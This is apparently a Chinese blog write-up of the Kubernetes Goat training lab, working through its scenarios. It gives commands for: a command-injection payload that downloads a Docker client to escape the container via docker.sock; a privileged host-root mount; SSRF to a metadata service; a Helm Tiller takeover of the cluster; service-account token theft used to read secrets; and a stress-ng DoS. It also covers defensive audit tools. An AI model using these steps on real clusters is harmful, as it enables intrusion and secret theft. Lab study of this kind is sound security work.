學習K8S中常見的21種攻擊方式
練習地址
https://katacoda.com/madhuakula/scenarios/kubernetes-goat官方提供了在線環境和WriteUp,簡直太棒了!或者自己本地跑也可以。
靶場架構
K8S常見漏洞學習
敏感信息泄露
CI/CD的意思就是DevOps中的持續集成/持續開發,比如Jenkins、Gitlab、阿里云的云效等平臺。
這里存在git泄露

git泄露除了能拿到源碼,還能拿到git記錄。提示存儲了環境變量,ak可能在里面。
拿到flag
另外一種方法是使用數據分析工具truffleHog
pip install truffleHog

DIND (docker-in-docker) exploitation
-docker逃逸
參考https://cloud.tencent.com/developer/article/1676154
掛載docker.sock導致容器逃逸https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-docker-sock
Docker Socket是Docker守護進程監聽的Unix域套接字,用來與守護進程通信——查詢信息或下發命令。如果在攻擊者可控的容器內掛載了該套接字文件(/var/run/docker.sock),可通過Docker Socket與Docker守護進程通信,發送命令創建并運行一個新的容器,將宿主機的根目錄掛載到新創建的容器內部,完成簡單逃逸。



老CTF了,命令注入。

通過信息收集發現本地掛載了docker.sock

exploit
靶場里沒docker,需要下載一個二進制包。
;wget https: //download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz ;tar -xvzf /tmp/docker- 19.03 . 9.tgz -C /tmp/ ; /tmp/ docker/docker -H unix: ///custom/docker/docker.sock ps ; /tmp/ docker/docker -H unix: ///custom/docker/docker.sock images

這里無法交互式
交互式的情況下利用步驟
docker run -itd -v / var /run/docker.sock: /var/ run/docker.sock ubuntu 先將源替換為中科大源 sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list apt update&& apt install -y wget 然后下載編譯好的docker 客戶端 wget https: //download.docker.com/linux/static/stable/x86_64/docker-17.03.0-ce.tgz tar xf ./docker- 17.03 . 0 -ce.tgz cd /docker ./docker run -it -v /: /host --privileged --name=sock-test ubuntu / bin/bash 這里也可反彈shell
在線工具https://redtools.redteaming.net/
SSRF in K8S world
通過ssrf獲得元數據進行深入利用。

pod部署的時候5000端口常用來做轉發,也可以掃描其他端口,尋找敏感信息。
flag在http://metadata-db/latest/secrets/kubernetes-goat

Container escape to access the host system
場景用戶把物理機的路徑掛載到了容器內。

將這個目錄設置為root目錄就能逃逸。chroot host-system/ bash
env拿到flag

Docker CIS Benchmarks analysis安全檢查
來源 https://www.jianshu.com/p/102e524d816bdocker-bench用于檢查有關在生產中部署Docker容器的安全問題。docker-bench當前支持對多個版本的Docker(1.13和17.06)進行測試,并且將基于主機上運行的Docker版本確定要運行的測試集,同時也可以使用--version命令行標志手動指定要運行測試的版本。
詳情見原文https://madhuakula.com/kubernetes-goat/scenarios/scenario-5.html#docker-cis-benchmarks-analysis
Kubernetes CIS Benchmarks analysis
https://madhuakula.com/kubernetes-goat/scenarios/scenario-6.html
Docker Registry API未授權訪問
容器注冊表是推送所有容器鏡像的地方。大多數情況下,每個組織單位都有自己的私有注冊表。有時會被用戶配置成public。另一方面,假設開發人員將他們的所有敏感信息都存儲在容器映像中。讓我們看看我們能在這里找到什么。

https://2886795340-1235-simba10.environments.katacoda.com/madhuakula/k8s-goat-users-repo/manifests/lates
Docker Remote API未授權訪問
https://askding.github.io/Kali/Exploit/Docker.html
NodePort 服務
暴露https://madhuakula.com/kubernetes-goat/scenarios/scenario-8.html
如果任何用戶使用 NodePort 暴露了 Kubernetes 集群中的任何服務,這意味著運行 Kubernetes 集群的節點沒有啟用任何防火墻。我們能看到一些未經身份驗證和未經授權的服務。 要開始使用該場景,請運行以下命令并查找 Kubernetes 節點中的開放端口 kubectl get nodes -o wide
當 Kubernetes 創建一個 NodePort 服務時,它會從定義 Kubernetes 集群的標志中指定的范圍內分配一個端口。(默認情況下,這些端口范圍為 30000-32767。)

用masscan掃描這些ip的端口即可, 30000-3276

Helm v2 tiller to PwN the cluster
Helm 是 Kubernetes 的包管理器。這就像 Ubuntu 的 apt- get 。在這種情況下,我們將看到舊版本的 helm(版本 2 )、tiller 服務 RBAC 默認設置以獲取對完整集群的訪問權限。
要開始使用該場景,請運行以下命令
kubectl run --rm --restart= Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash
- 默認情況下,helm 2 的部署完成后,用戶具有完整集群管理員權限的 RBAC
- 所以默認安裝在 kube-system 命名空間中,服務名稱為 Tiller-deploy,端口 44134 暴露在 0.0.0.0。所以我們可以通過運行 telnet 命令來驗證。

現在,我們可以連接到tiller服務端口。我們可以使用 helm 二進制文件來執行操作并與tiller服務建立連接。
helm --host tiller-deploy.kube-system: 44134 version
然后我們可以創建自己的 helm chart 來授予默認服務帳戶擁有完整的集群管理員訪問權限,因為默認情況下,當前 pod 部署在具有默認服務帳戶的默認命名空間中。
helm --host tiller-deploy.kube-system: 44134 install --name pwnchart /pwnchart

現在 pwchart 部署成功,它已授予所有默認服務帳戶擁有集群管理員訪問權限。因此,讓我們嘗試獲取 kube-system namespace中的secrets。
kubectl get secrets -n kube-system

這種情況會改變tiller部署的方式,有時,管理員將tiller部署到具有特定權限的特定命名空間。同樣從 Helm 3 開始,沒有tiller服務來緩解此類漏洞
Analysing crypto miner container
我的理解是分析容器中有沒有挖礦腳本。https://madhuakula.com/kubernetes-goat/scenarios/scenario-10.html#analysing-crypto-miner-container
Kubernetes Namespaces bypass
默認情況下,k8s內部的namespace可以相互訪問,正常步驟掃描滲透即可。admin/admin
信息收集
CDK一把梭。
資源DOS攻擊
Kubernete smanifests中沒有資源規范,也沒有為容器應用限制其范圍。作為攻擊者,我們可以消耗 pod/deployment 運行的所有資源,并使其他資源匱乏,并導致環境發生 DoS。
使用壓測神器stress-ng 進行攻擊。
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
然后內存爆炸

想起來以前打awd想辦法讓自己機器關機的時候。。
Hacker Container preview
hacker-container是一個輔助滲透的容器,里面有一些工具。
kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh
Hidden in layers
分析正在運行的容器,尋找敏感信息。
kubectl get jobs docker inspect madhuakula/k8s-goat-hidden- in -layers

在沒有dockerfile的情況下,分析容器是如何構建的。
Method 1 (docker history)
docker history --no-trunc madhuakula/k8s-goat-hidden-in-layers
Method 2 (generates dockerfile from image)
alias dfimage= "docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" dfimage -sV= 1.36 madhuakula/k8s-goat-hidden- in -layers

Method 3 (using dive)
https://madhuakula.com/kubernetes-goat/scenarios/scenario-15.html#method-2-generates-dockerfile-from-image
RBAC 最低權限配置錯誤
我們經常看到,開發人員和 DevOps 團隊喜歡設置高權限。在這種情況下,您可以利用綁定到 pod 的 serviceaccount 來提供 webhookapikey 訪問,攻擊者可以獲得對其他機密和資源的控制。訪問 vaultapikey secret flag。
由于 Kubernetes 將所有secret、令牌和服務帳戶信息存儲在默認位置,因此可以試試查找有用信息。

現在我們可以使用這些信息來查詢并與具有令牌可用權限和特權的 Kubernetes API 服務繪畫
- 先指向內部 API 服務器主機名
export
APISERVER=https:
//${KUBERNETES_SERVICE_HOST}
- set ServiceAccount token
export SERVICEACCOUNT= /var/ run/secrets/kubernetes.io/serviceaccount
- 讀取 pods 命名空間并將其設置為變量。
export
NAMESPACE=$(cat ${SERVICEACCOUNT}/
namespace
)
- read the ServiceAccount bearer token
export
TOKEN=$(cat ${SERVICEACCOUNT}/token)
- 在 CURL 請求中查詢時指向要使用的 CACERT 路徑
export
CACERT=${SERVICEACCOUNT}/ca.crt
- 現在我們可以使用令牌和構造的查詢來探索 Kubernetes API
curl --cacert ${CACERT} --header
"Authorization: Bearer ${TOKEN}"
-X GET ${APISERVER}/api

- 查詢默認命名空間中的可用secret
curl --cacert ${CACERT} --header
"Authorization: Bearer ${TOKEN}"
-X GET ${APISERVER}/api/v1/secrets

- 查詢特定于命名空間的secret
curl --cacert ${CACERT} --header
"Authorization: Bearer ${TOKEN}"
-X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets
- 查詢特定命名空間中的 pod
curl --cacert ${CACERT} --header
"Authorization: Bearer ${TOKEN}"
-X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods

API可以增刪改查,詳情請翻文檔。
- Get the k8svaulapikey
curl --cacert ${CACERT} --header
"Authorization: Bearer ${TOKEN}"
-X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey
echo
"azhzLWdvYXQtODUwNTc4NDZhODA0NmEyNWIzNWYzOGYzYTI2NDlkY2U="
| base64 -d
KubeAudit - Audit Kubernetes Clusters
類似于CDK,自動化審計工具https://github.com/Shopify/kubeaudit
Sysdig Falco - Runtime Security Monitoring & Detection
此場景為部署容器和kubernetes資源的運行時安全監控和檢測。
https://madhuakula.com/kubernetes-goat/scenarios/scenario-18.html
Popeye - A Kubernetes Cluster Sanitizer
該場景主要是通過掃描實時Kubernetes集群來對Kubernetes集群進行審計,并報告部署的資源和配置的潛在問題。
kubectl run -n kube-system --serviceaccount=tiller --rm --restart= Never -it --image=madhuakula/hacker-container -- bash
https://madhuakula.com/kubernetes-goat/scenarios/scenario-19.html#popeye---a-kubernetes-cluster-sanitizer
Secure network boundaries using NSP
這個場景是為 kubernetes 資源部署一個簡單的網絡安全策略來創建安全邊界。
使用下面這個項目來對k8s設計出一套網絡隔離方案。
https://github.com/ahmetb/kubernetes-network-policy-recipes細節請看https://madhuakula.com/kubernetes-goat/scenarios/scenario-20.html
參考
https://madhuakula.com/kubernetes-goat/teardown.htmlhttps://github.com/ahmetb/kubernetes-network-policy-recipeshttps://www.google.com/